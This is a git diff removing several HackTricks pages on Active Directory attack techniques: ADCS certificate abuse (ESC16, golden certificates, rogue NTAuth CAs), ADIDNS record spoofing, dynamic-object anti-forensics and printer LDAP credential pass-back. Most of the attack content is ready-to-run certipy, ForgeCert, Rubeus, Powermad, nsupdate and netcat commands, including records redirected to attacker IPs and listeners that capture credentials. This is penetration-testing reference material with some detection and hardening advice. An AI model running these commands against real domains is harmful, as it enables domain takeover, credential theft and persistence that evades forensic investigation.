-certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
-```
-
-**Step 1: Read initial UPN of the victim account (Optional - for restoration).  
-
-
-```bash
-certipy account \
-    -u 'attacker@corp.local' -p 'Passw0rd!' \
-    -dc-ip '10.0.0.100' -user 'victim' \
-    read
-```
-
-**Step 2: Update the victim account's UPN to the target administrator's `sAMAccountName`.  
-
-```bash
-certipy account \
-    -u 'attacker@corp.local' -p 'Passw0rd!' \
-    -dc-ip '10.0.0.100' -upn 'administrator' \
-    -user 'victim' update
-```
-
-**Step 3: (If needed) Obtain credentials for the "victim" account (e.g., via Shadow Credentials).**
-
-```shell
-certipy shadow \
-    -u 'attacker@corp.local' -p 'Passw0rd!' \
-    -dc-ip '10.0.0.100' -account 'victim' \
-    auto
-```
-
-**Step 4: Request a certificate as the "victim" user from _any suitable client authentication template_ (e.g., "User") on the ESC16-vulnerable CA.** Because the CA is vulnerable to ESC16, it will automatically omit the SID security extension from the issued certificate, regardless of the template's specific settings for this extension. Set the Kerberos credential cache environment variable (shell command):
-
-```bash
-export KRB5CCNAME=victim.ccache
-```
-
-Then request the certificate:
-
-```bash
-certipy req \
-    -k -dc-ip '10.0.0.100' \
-    -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-    -template 'User'
-```
-
-**Step 5: Revert the "victim" account's UPN.**
-
-```bash
-certipy account \
-    -u 'attacker@corp.local' -p 'Passw0rd!' \
-    -dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-    -user 'victim' update
-```
-
-**Step 6: Authenticate as the target administrator.**
-
-```bash
-certipy auth \
-    -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-    -username 'administrator' -domain 'corp.local'
-```
-## Compromising Forests with Certificates Explained in Passive Voice
-
-### Breaking of Forest Trusts by Compromised CAs
-
-The configuration for **cross-forest enrollment** is made relatively straightforward. The **root CA certificate** from the resource forest is **published to the account forests** by administrators, and the **enterprise CA** certificates from the resource forest are **added to the `NTAuthCertificates` and AIA containers in each account forest**. To clarify, this arrangement grants the **CA in the resource forest complete control** over all other forests for which it manages PKI. Should this CA be **compromised by attackers**, certificates for all users in both the resource and account forests could be **forged by them**, thereby breaking the security boundary of the forest.
-
-### Enrollment Privileges Granted to Foreign Principals
-
-In multi-forest environments, caution is required concerning Enterprise CAs that **publish certificate templates** which allow **Authenticated Users or foreign principals** (users/groups external to the forest to which the Enterprise CA belongs) **enrollment and edit rights**.\
-Upon authentication across a trust, the **Authenticated Users SID** is added to the user’s token by AD. Thus, if a domain possesses an Enterprise CA with a template that **allows Authenticated Users enrollment rights**, a template could potentially be **enrolled in by a user from a different forest**. Likewise, if **enrollment rights are explicitly granted to a foreign principal by a template**, a **cross-forest access-control relationship is thereby created**, enabling a principal from one forest to **enroll in a template from another forest**.
-
-Both scenarios lead to an **increase in the attack surface** from one forest to another. The settings of the certificate template could be exploited by an attacker to obtain additional privileges in a foreign domain.
-
-
-## References
-
-- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
-- [GhostPack/Certify](https://github.com/GhostPack/Certify)
-- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md
deleted file mode 100644
index 7841a0f7f11..00000000000
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md
+++ /dev/null
@@ -1,152 +0,0 @@
-# AD CS Domain Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-**This is a summary of the domain persistence techniques shared in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Check it for further details.
-
-## Forging Certificates with Stolen CA Certificates (Golden Certificate) - DPERSIST1
-
-How can you tell that a certificate is a CA certificate?
-
-It can be determined that a certificate is a CA certificate if several conditions are met:
-
-- The certificate is stored on the CA server, with its private key secured by the machine's DPAPI, or by hardware such as a TPM/HSM if the operating system supports it.
-- Both the Issuer and Subject fields of the certificate match the distinguished name of the CA.
-- A "CA Version" extension is present in the CA certificates exclusively.
-- The certificate lacks Extended Key Usage (EKU) fields.
-
-To extract the private key of this certificate, the `certsrv.msc` tool on the CA server is the supported method via the built-in GUI. Nonetheless, this certificate does not differ from others stored within the system; thus, methods such as the [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) can be applied for extraction.
-
-The certificate and private key can also be obtained using Certipy with the following command:
-
-```bash
-certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
-```
-
-Upon acquiring the CA certificate and its private key in `.pfx` format, tools like [ForgeCert](https://github.com/GhostPack/ForgeCert) can be utilized to generate valid certificates:
-
-```bash
-# Generating a new certificate with ForgeCert
-ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
-
-# Generating a new certificate with certipy
-certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
-
-# Authenticating using the new certificate with Rubeus
-Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
-
-# Authenticating using the new certificate with certipy
-certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
-```
-
-> [!WARNING]
-> The user targeted for certificate forgery must be active and capable of authenticating in Active Directory for the process to succeed. Forging a certificate for special accounts like krbtgt is ineffective.
-
-This forged certificate will be **valid** until the end date specified and as **long as the root CA certificate is valid** (usually from 5 to **10+ years**). It's also valid for **machines**, so combined with **S4U2Self**, an attacker can **maintain persistence on any domain machine** for as long as the CA certificate is valid.\
-Moreover, the **certificates generated** with this method **cannot be revoked** as CA is not aware of them.
-
-### Operating under Strong Certificate Mapping Enforcement (2025+)
-
-Since February 11, 2025 (after KB5014754 rollout), domain controllers default to **Full Enforcement** for certificate mappings. Practically this means your forged certificates must either:
-
-- Contain a strong binding to the target account (for example, the SID security extension), or
-- Be paired with a strong, explicit mapping on the target object’s `altSecurityIdentities` attribute.
-
-A reliable approach for persistence is to mint a forged certificate chained to the stolen Enterprise CA and then add a strong explicit mapping to the victim principal:
-
-```powershell
-# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
-$Issuer  = 'DC=corp,DC=local,CN=CORP-DC-CA'           # reverse DN format expected by AD
-$SerialR = '1200000000AC11000000002B'                  # serial in reversed byte order
-$Map     = "X509:<I>$Issuer<SR>$SerialR"             # strong mapping format
-Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
-```
-
-Notes
-- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See [account-persistence](account-persistence.md) for more on explicit mappings.
-- Revocation does not help defenders here: forged certificates are unknown to the CA database and thus cannot be revoked.
-
-#### Full-Enforcement compatible forging (SID-aware)
-
-Updated tooling lets you embed the SID directly, keeping golden certificates usable even when DCs reject weak mappings:
-
-```bash
-# Certify 2.0 integrates ForgeCert and can embed SID
-Certify.exe forge --ca-pfx CORP-DC-CA.pfx --ca-pass Password123! \
-  --upn administrator@corp.local --sid S-1-5-21-1111111111-2222222222-3333333333-500 \
-  --outfile administrator_sid.pfx
-
-# Certipy also supports SID in forged certs
-certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local \
-  -sid S-1-5-21-1111111111-2222222222-3333333333-500 -out administrator_sid.pfx
-```
-
-By embedding the SID you avoid having to touch `altSecurityIdentities`, which may be monitored, while still satisfying strong mapping checks.
-
-## Trusting Rogue CA Certificates - DPERSIST2
-
-The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
-
-A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
-
-Additional helpful commands for this technique:
-
-```bash
-# Add/remove and inspect the Enterprise NTAuth store
-certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
-certutil -enterprise -viewstore NTAuth
-certutil -enterprise -delstore NTAuth <Thumbprint>
-
-# (Optional) publish into AD CA containers to improve chain building across the forest
-certutil -dspublish -f C:\Temp\CERT.crt RootCA          # CN=Certification Authorities
-certutil -dspublish -f C:\Temp\CERT.crt CA               # CN=AIA
-```
-
-This capability is especially relevant when used in conjunction with a previously outlined method involving ForgeCert to dynamically generate certificates.
-
-> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
-
-## Malicious Misconfiguration - DPERSIST3
-
-Opportunities for **persistence** through **security descriptor modifications of AD CS** components are plentiful. Modifications described in the "[Domain Escalation](domain-escalation.md)" section can be maliciously implemented by an attacker with elevated access. This includes the addition of "control rights" (e.g., WriteOwner/WriteDACL/etc.) to sensitive components such as:
-
-- The **CA server’s AD computer** object
-- The **CA server’s RPC/DCOM server**
-- Any **descendant AD object or container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.)
-- **AD groups delegated rights to control AD CS** by default or by the organization (such as the built-in Cert Publishers group and any of its members)
-
-An example of malicious implementation would involve an attacker, who has **elevated permissions** in the domain, adding the **`WriteOwner`** permission to the default **`User`** certificate template, with the attacker being the principal for the right. To exploit this, the attacker would first change the ownership of the **`User`** template to themselves. Following this, the **`mspki-certificate-name-flag`** would be set to **1** on the template to enable **`ENROLLEE_SUPPLIES_SUBJECT`**, allowing a user to provide a Subject Alternative Name in the request. Subsequently, the attacker could **enroll** using the **template**, choosing a **domain administrator** name as an alternative name, and utilize the acquired certificate for authentication as the DA.
-
-Practical knobs attackers may set for long-term domain persistence (see {{#ref}}domain-escalation.md{{#endref}} for full details and detection):
-
-- CA policy flags that allow SAN from requesters (e.g., enabling `EDITF_ATTRIBUTESUBJECTALTNAME2`). This keeps ESC1-like paths exploitable.
-- Template DACL or settings that allow authentication-capable issuance (e.g., adding Client Authentication EKU, enabling `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
-- Controlling the `NTAuthCertificates` object or the CA containers to continuously re-introduce rogue issuers if defenders attempt cleanup.
-
-> [!TIP]
-> In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (`altSecurityIdentities`) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.
-
-### Certificate renewal abuse (ESC14) for persistence
-
-If you compromise an authentication-capable certificate (or an Enrollment Agent one), you can **renew it indefinitely** as long as the issuing template remains published and your CA still trusts the issuer chain. Renewal keeps the original identity bindings but extends validity, making eviction difficult unless the template is fixed or the CA is republished.
-
-```bash
-# Renew a stolen user cert to extend validity
-certipy req -ca CORP-DC-CA -template User -pfx stolen_user.pfx -renew -out user_renewed_2026.pfx
-
-# Renew an on-behalf-of cert issued via an Enrollment Agent
-certipy req -ca CORP-DC-CA -on-behalf-of 'CORP/victim' -pfx agent.pfx -renew -out victim_renewed.pfx
-```
-
-If domain controllers are in **Full Enforcement**, add `-sid <victim SID>` (or use a template that still includes the SID security extension) so the renewed leaf certificate continues to map strongly without touching `altSecurityIdentities`. Attackers with CA admin rights may also tweak `policy\RenewalValidityPeriodUnits` to lengthen renewed lifetimes before issuing themselves a cert.
-
-
-## References
-
-- [Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings)](https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16)
-- [Certipy – Command Reference and forge/auth usage](https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference)
-- [SpecterOps – Certify 2.0 (integrated forge with SID support)](https://specterops.io/blog/2025/08/11/certify-2-0/)
-- [ESC14 renewal abuse overview](https://www.adcs-security.com/attacks/esc14)
-- [0xdf – HTB: Certificate (SeManageVolumePrivilege to exfil CA keys → Golden Certificate)](https://0xdf.gitlab.io/2025/10/04/htb-certificate.html)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/ad-dns-records.md b/src/windows-hardening/active-directory-methodology/ad-dns-records.md
deleted file mode 100644
index 21966e25bf1..00000000000
--- a/src/windows-hardening/active-directory-methodology/ad-dns-records.md
+++ /dev/null
@@ -1,124 +0,0 @@
-# AD DNS Records
-
-{{#include ../../banners/hacktricks-training.md}}
-
-By default **any user** in Active Directory can **enumerate all DNS records** in the Domain or Forest DNS zones, similar to a zone transfer (users can list the child objects of a DNS zone in an AD environment).
-
-The tool [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) enables **enumeration** and **exporting** of **all DNS records** in the zone for recon purposes of internal networks.
-
-```bash
-git clone https://github.com/dirkjanm/adidnsdump
-cd adidnsdump
-pip install .
-
-# Enumerate the default zone and resolve the "hidden" records
-adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
-
-# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…)
-adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones
-
-# Dump a specific zone (e.g. ForestDnsZones)
-adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r
-
-cat records.csv
-```
-
->  adidnsdump v1.4.0 (April 2025) adds JSON/Greppable (`--json`) output, multi-threaded DNS resolution and support for TLS 1.2/1.3 when binding to LDAPS  
-
-For more information read [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)
-
----
-
-## Creating / Modifying records (ADIDNS spoofing)
-
-Because the **Authenticated Users** group has **Create Child** on the zone DACL by default, any domain account (or computer account) can register additional records.  This can be used for traffic hijacking, NTLM relay coercion or even full domain compromise.
-
-### PowerMad / Invoke-DNSUpdate (PowerShell)
-
-```powershell
-Import-Module .\Powermad.ps1
-
-# Add A record evil.domain.local → attacker IP
-Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose
-
-# Delete it when done
-Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose
-```
-
-### Impacket – dnsupdate.py  (Python)
-
-```bash
-# add/replace an A record via secure dynamic-update
-python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37
-```
-
-*(dnsupdate.py ships with Impacket ≥0.12.0)*
-
-### BloodyAD
-
-```bash
-bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37
-```
-
----
-
-## Common attack primitives
-
-1. **Wildcard record** – `*.<zone>` turns the AD DNS server into an enterprise-wide responder similar to LLMNR/NBNS spoofing. It can be abused to capture NTLM hashes or to relay them to LDAP/SMB.  (Requires WINS-lookup to be disabled.)    
-2. **WPAD hijack** – add `wpad` (or an **NS** record pointing to an attacker host to bypass the Global-Query-Block-List) and transparently proxy outbound HTTP requests to harvest credentials.  Microsoft patched the wildcard/ DNAME bypasses (CVE-2018-8320) but **NS-records still work**.    
-3. **Stale entry takeover** – claim the IP address that previously belonged to a workstation and the associated DNS entry will still resolve, enabling resource-based constrained delegation or Shadow-Credentials attacks without touching DNS at all.    
-4. **DHCP → DNS spoofing** – on a default Windows DHCP+DNS deployment an unauthenticated attacker on the same subnet can overwrite any existing A record (including Domain Controllers) by sending forged DHCP requests that trigger dynamic DNS updates (Akamai “DDSpoof”, 2023).  This gives machine-in-the-middle over Kerberos/LDAP and can lead to full domain takeover.    
-5. **Certifried (CVE-2022-26923)** – change the `dNSHostName` of a machine account you control, register a matching A record, then request a certificate for that name to impersonate the DC. Tools such as **Certipy** or **BloodyAD** fully automate the flow.  
-
----
-
-### Internal service hijacking via stale dynamic records (NATS case study)
-
-When dynamic updates stay open to all authenticated users, **a de-registered service name can be re-claimed and pointed to attacker infrastructure**. The Mirage HTB DC exposed the hostname `nats-svc.mirage.htb` after DNS scavenging, so any low-privileged user could:
-
-1. **Confirm the record is missing** and learn the SOA with `dig`:
-
-```bash
-dig @dc01.mirage.htb nats-svc.mirage.htb
-```
-
-2. **Re-create the record** toward an external/VPN interface they control:
-
-```bash
-nsupdate
-> server 10.10.11.78
-> update add nats-svc.mirage.htb 300 A 10.10.14.2
-> send
-```
-
-3. **Impersonate the plaintext service**. NATS clients expect to see one `INFO { ... }` banner before they send credentials, so copying a legitimate banner from the real broker is enough to harvest secrets:
-
-```bash
-# Capture a single INFO line from the real service and replay it to victims
-nc 10.10.11.78 4222 | head -1 | nc -lnvp 4222
-```
-
-Any client that resolves the hijacked name will immediately leak its JSON `CONNECT` frame (including `"user"`/`"pass"`) to the listener. Running the official `nats-server -V` binary on the attacker host, disabling its log redaction, or just sniffing the session with Wireshark yields the same plaintext credentials because TLS was optional.
-
-4. **Pivot with the captured creds** – in Mirage the stolen NATS account provided JetStream access, which exposed historic authentication events containing reusable AD usernames/passwords.
-
-This pattern applies to every AD-integrated service that relies on unsecured TCP handshakes (HTTP APIs, RPC, MQTT, etc.): once the DNS record is hijacked, the attacker becomes the service.
-
----
-
-## Detection & hardening
-
-* Deny **Authenticated Users** the *Create all child objects* right on sensitive zones and delegate dynamic updates to a dedicated account used by DHCP.
-* If dynamic updates are required, set the zone to **Secure-only** and enable **Name Protection** in DHCP so that only the owner computer object can overwrite its own record.
-* Monitor DNS Server event IDs 257/252 (dynamic update), 770 (zone transfer) and LDAP writes to `CN=MicrosoftDNS,DC=DomainDnsZones`.
-* Block dangerous names (`wpad`, `isatap`, `*`) with an intentionally-benign record or via the Global Query Block List.
-* Keep DNS servers patched – e.g., RCE bugs CVE-2024-26224 and CVE-2024-26231 reached **CVSS 9.8** and are remotely exploitable against Domain Controllers.  
-
-
-
-## References
-
-- Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More”  (2018, still the de-facto reference for wildcard/WPAD attacks)  
-- Akamai – “Spoofing DNS Records by Abusing DHCP DNS Dynamic Updates” (Dec 2023)
-- [HackTheBox Mirage: Chaining NFS Leaks, Dynamic DNS Abuse, NATS Credential Theft, JetStream Secrets, and Kerberoasting](https://0xdf.gitlab.io/2025/11/22/htb-mirage.html)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/ad-dynamic-objects-anti-forensics.md b/src/windows-hardening/active-directory-methodology/ad-dynamic-objects-anti-forensics.md
deleted file mode 100644
index c32ed92835d..00000000000
--- a/src/windows-hardening/active-directory-methodology/ad-dynamic-objects-anti-forensics.md
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@@ -1,71 +0,0 @@
-# AD Dynamic Objects (dynamicObject) Anti-Forensics
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Mechanics & Detection Basics
-
-- Any object created with the auxiliary class **`dynamicObject`** gains **`entryTTL`** (seconds countdown) and **`msDS-Entry-Time-To-Die`** (absolute expiry). When `entryTTL` reaches 0 the **Garbage Collector deletes it without tombstone/recycle-bin**, erasing creator/timestamps and blocking recovery.
-- **`entryTTL` is an operational/constructed attribute**: request it explicitly in LDAP queries. TTL can be refreshed either by updating `entryTTL` before expiry or via LDAP TTL refresh OID **`1.3.6.1.4.1.1466.101.119.1`**.
-- TTL min/default are enforced in **Configuration\Services\NTDS Settings → `msDS-Other-Settings` → `DynamicObjectMinTTL` / `DynamicObjectDefaultTTL`**. Microsoft documents **86400s** as the default TTL and **900s** as the default minimum valid TTL; both support **1s–1y**. Dynamic objects are **unsupported in Configuration/Schema partitions**.
-- There is **no static→dynamic conversion** and no tombstone phase after expiry. IR teams cannot rely on deleted-object controls or Recycle Bin; they must capture the live object/metadata before GC removes it.
-- Refresh is **replica-sensitive**: if TTL is renewed too close to expiry, another writable replica or GC can still delete the object locally before the refresh replicates. Very short TTLs therefore work best when the attacker knows which DC will service the abuse, while defenders should query **all naming contexts / replicas** during triage.
-- Deletion can lag a few minutes on DCs with short uptime (<24h), leaving a narrow response window to query/backup attributes. Detect by **alerting on new objects carrying `entryTTL`/`msDS-Entry-Time-To-Die`** and correlating with orphan SIDs/broken links.
-
-## Fast Enumeration / Live Triage
-
-- Query **all `namingContexts` from RootDSE**, not only the domain NC. Dynamic abuse can live in **`DomainDnsZones`/`ForestDnsZones`** (`dnsNode`) or in application partitions.
-- While the object is still alive, immediately dump **replication metadata** and any linked attributes/ACLs. After expiry you may be left only with **broken `gPLink` values, orphan SIDs, or cached DNS answers**.
-
-```powershell
-$root = Get-ADRootDSE
-$root.namingContexts | ForEach-Object {
-  Get-ADObject -LDAPFilter '(objectClass=dynamicObject)' -SearchBase $_ `
-    -Properties entryTTL,msDS-Entry-Time-To-Die,gPCFileSysPath,msDS-CreatorSID |
-    Select-Object DistinguishedName,entryTTL,msDS-Entry-Time-To-Die,gPCFileSysPath,msDS-CreatorSID
-}
-repadmin /showobjmeta <DC> <distinguishedName>
-```
-
-## MAQ Evasion with Self-Deleting Computers
-
-- Default **`ms-DS-MachineAccountQuota` = 10** lets any authenticated user create computers. Add `dynamicObject` during creation to have the computer self-delete and **free the quota slot** while wiping evidence.
-- Powermad tweak inside `New-MachineAccount` (objectClass list):
-  ```powershell
-  $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass", "dynamicObject", "Computer")) > $null
-  ```
-- If the requested TTL is **below `DynamicObjectMinTTL`**, expect server-side adjustment or rejection depending on the creation path; in many domains the effective floor is **900s** and the fallback/default remains **86400s**. ADUC may hide `entryTTL`, but LDP/LDAP queries reveal it.
-- While the object exists, defenders can still recover the unprivileged creator from **`msDS-CreatorSID`** on the computer object. Once the dynamic computer expires, that attribution disappears with the object.
-
-## Stealth Primary Group Membership
-
-- Create a **dynamic security group**, then set a user’s **`primaryGroupID`** to that group’s RID to gain effective membership that **doesn’t show in `memberOf`** but is honored in Kerberos/access tokens.
-- TTL expiry **deletes the group despite primary-group delete protection**, leaving the user with a corrupted `primaryGroupID` pointing to a non-existent RID and no tombstone to investigate how the privilege was granted.
-- Reporting is tool-dependent: **`Get-ADGroupMember` / `net group`** usually resolve primary-group-derived membership, while **`memberOf`** and **`Get-ADGroup -Properties member`** do not. For broader `primaryGroupID` tradecraft, see [this other page about DCShadow and PGID abuse](dcshadow.md).
-- For **non-AdminSDHolder-protected** targets, attackers can pair the dynamic-group trick with a **DACL deny on reading `primaryGroupID`** (or the group `member` attribute) to hide the link from many LDAP/PowerShell workflows even before the group expires.
-
-## AdminSDHolder Orphan-SID Pollution
-
-- Add ACEs for a **short-lived dynamic user/group** to **`CN=AdminSDHolder,CN=System,...`**. After TTL expiry the SID becomes **unresolvable (“Unknown SID”)** in the template ACL, and **SDProp (~60 min)** propagates that orphan SID across all protected Tier-0 objects.
-- Forensics lose attribution because the principal is gone (no deleted-object DN). Monitor for **new dynamic principals + sudden orphan SIDs on AdminSDHolder/privileged ACLs**.
-
-## Dynamic GPO Execution with Self-Destructing Evidence
-
-- Create a **dynamic `groupPolicyContainer`** object with a malicious **`gPCFileSysPath`** (e.g., SMB share à la GPODDITY) and **link it via `gPLink`** to a target OU.
-- Clients process the policy and pull content from attacker SMB. When TTL expires, the GPO object (and `gPCFileSysPath`) vanishes; only a **broken `gPLink`** GUID remains, removing LDAP evidence of the executed payload.
-- This is operationally cleaner than classic **GPODDITY-style** cleanup: instead of restoring the original `gPCFileSysPath` yourself, AD removes the malicious GPC automatically once the timer expires.
-
-## Ephemeral AD-Integrated DNS Redirection
-
-- AD DNS records are **`dnsNode`** objects in **DomainDnsZones/ForestDnsZones**. Creating them as **dynamic objects** allows temporary host redirection (credential capture/MITM). Clients cache the malicious A/AAAA response; the record later self-deletes so the zone looks clean (DNS Manager may need zone reload to refresh view).
-- Detection: alert on **any DNS record carrying `dynamicObject`/`entryTTL`** via replication/event logs; transient records rarely appear in standard DNS logs.
-
-## Hybrid Entra ID Delta-Sync Gap (Note)
-
-- Entra Connect delta sync relies on **tombstones** to detect deletes. A **dynamic on-prem user** can sync to Entra ID, expire, and delete without tombstone—delta sync won’t remove the cloud account, leaving an **orphaned active Entra user** until an **initial/full sync** or manual cloud cleanup is forced.
-
-## References
-
-- [Dynamic Objects in Active Directory: The Stealthy Threat](https://www.tenable.com/blog/active-directory-dynamic-objects-stealthy-threat)
-- [Adventures in Primary Group Behavior, Reporting, and Exploitation](https://trustedsec.com/blog/adventures-in-primary-group-behavior-reporting-and-exploitation)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md b/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md
deleted file mode 100644
index d5fd320f41c..00000000000
--- a/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md
+++ /dev/null
@@ -1,110 +0,0 @@
-# Information in Printers
-
-{{#include ../../banners/hacktricks-training.md}}
-
-There are several blogs in the Internet which **highlight the dangers of leaving printers configured with LDAP with default/weak** logon credentials.  \
-This is because an attacker could **trick the printer to authenticate against a rogue LDAP server** (typically a `nc -vv -l -p 389` or `slapd -d 2` is enough) and capture the printer **credentials in clear-text**.
-
-Also, several printers will contain **logs with usernames** or could even be able to **download all usernames** from the Domain Controller.
-
-All this **sensitive information** and the common **lack of security** makes printers very interesting for attackers.
-
-Some introductory blogs about the topic:
-
-- [https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/](https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/)
-- [https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
-
----
-## Printer Configuration
-
-- **Location**: The LDAP server list is usually found in the web interface (e.g. *Network ➜ LDAP Setting ➜ Setting Up LDAP*).
-- **Behavior**: Many embedded web servers allow LDAP server modifications **without re-entering credentials** (usability feature → security risk).
-- **Exploit**: Redirect the LDAP server address to an attacker-controlled host and use the *Test Connection* / *Address Book Sync* button to force the printer to bind to you.
-
----
-## Capturing Credentials
-
-### Method 1 – Netcat Listener
-
-```bash
-sudo nc -k -v -l -p 389     # LDAPS → 636 (or 3269)
-```
-
-Small/old MFPs may send a simple *simple-bind* in clear-text that netcat can capture. Modern devices usually perform an anonymous query first and then attempt the bind, so results vary.
-
-### Method 2 – Full Rogue LDAP server (recommended)
-
-Because many devices will issue an anonymous search *before* authenticating, standing up a real LDAP daemon yields much more reliable results:
-
-```bash
-# Debian/Ubuntu example
-sudo apt install slapd ldap-utils
-sudo dpkg-reconfigure slapd   # set any base-DN – it will not be validated
-
-# run slapd in foreground / debug 2
-slapd -d 2 -h "ldap:///"      # only LDAP, no LDAPS
-```
-
-When the printer performs its lookup you will see the clear-text credentials in the debug output.
-
-> 💡  You can also use `impacket/examples/ldapd.py` (Python rogue LDAP) or `Responder -w -r -f` to harvest NTLMv2 hashes over LDAP/SMB.
-
----
-## Recent Pass-Back Vulnerabilities (2024-2025)
-
-Pass-back is *not* a theoretical issue – vendors keep publishing advisories in 2024/2025 that exactly describe this attack class.
-
-### Xerox VersaLink – CVE-2024-12510 & CVE-2024-12511
-
-Firmware ≤ 57.69.91 of Xerox VersaLink C70xx MFPs allowed an authenticated admin (or anyone when default creds remain) to:
-
-* **CVE-2024-12510 – LDAP pass-back**: change the LDAP server address and trigger a lookup, causing the device to leak the configured Windows credentials to the attacker-controlled host.
-* **CVE-2024-12511 – SMB/FTP pass-back**: identical issue via *scan-to-folder* destinations, leaking NetNTLMv2 or FTP clear-text creds.
-
-A simple listener such as:
-
-```bash
-sudo nc -k -v -l -p 389     # capture LDAP bind
-```
-
-or a rogue SMB server (`impacket-smbserver`) is enough to harvest the credentials.  
-
-### Canon imageRUNNER / imageCLASS – Advisory 20 May 2025
-
-Canon confirmed a **SMTP/LDAP pass-back** weakness in dozens of Laser & MFP product lines. An attacker with admin access can modify the server configuration and retrieve the stored credentials for LDAP **or** SMTP (many orgs use a privileged account to allow scan-to-mail).  
-
-The vendor guidance explicitly recommends:
-
-1. Updating to patched firmware as soon as available.
-2. Using strong, unique admin passwords.
-3. Avoiding privileged AD accounts for printer integration.
-
----
-## Automated Enumeration / Exploitation Tools
-
-| Tool | Purpose | Example |
-|------|---------|---------|
-| **PRET** (Printer Exploitation Toolkit) | PostScript/PJL/PCL abuse, file-system access, default-creds check, *SNMP discovery* | `python pret.py 192.168.1.50 pjl` |
-| **Praeda** | Harvest configuration (including address books & LDAP creds) via HTTP/HTTPS | `perl praeda.pl -t 192.168.1.50` |
-| **Responder / ntlmrelayx** | Capture & relay NetNTLM hashes from SMB/FTP pass-back | `responder -I eth0 -wrf` |
-| **impacket-ldapd.py** | Lightweight rogue LDAP service to receive clear-text binds | `python ldapd.py -debug` |
-
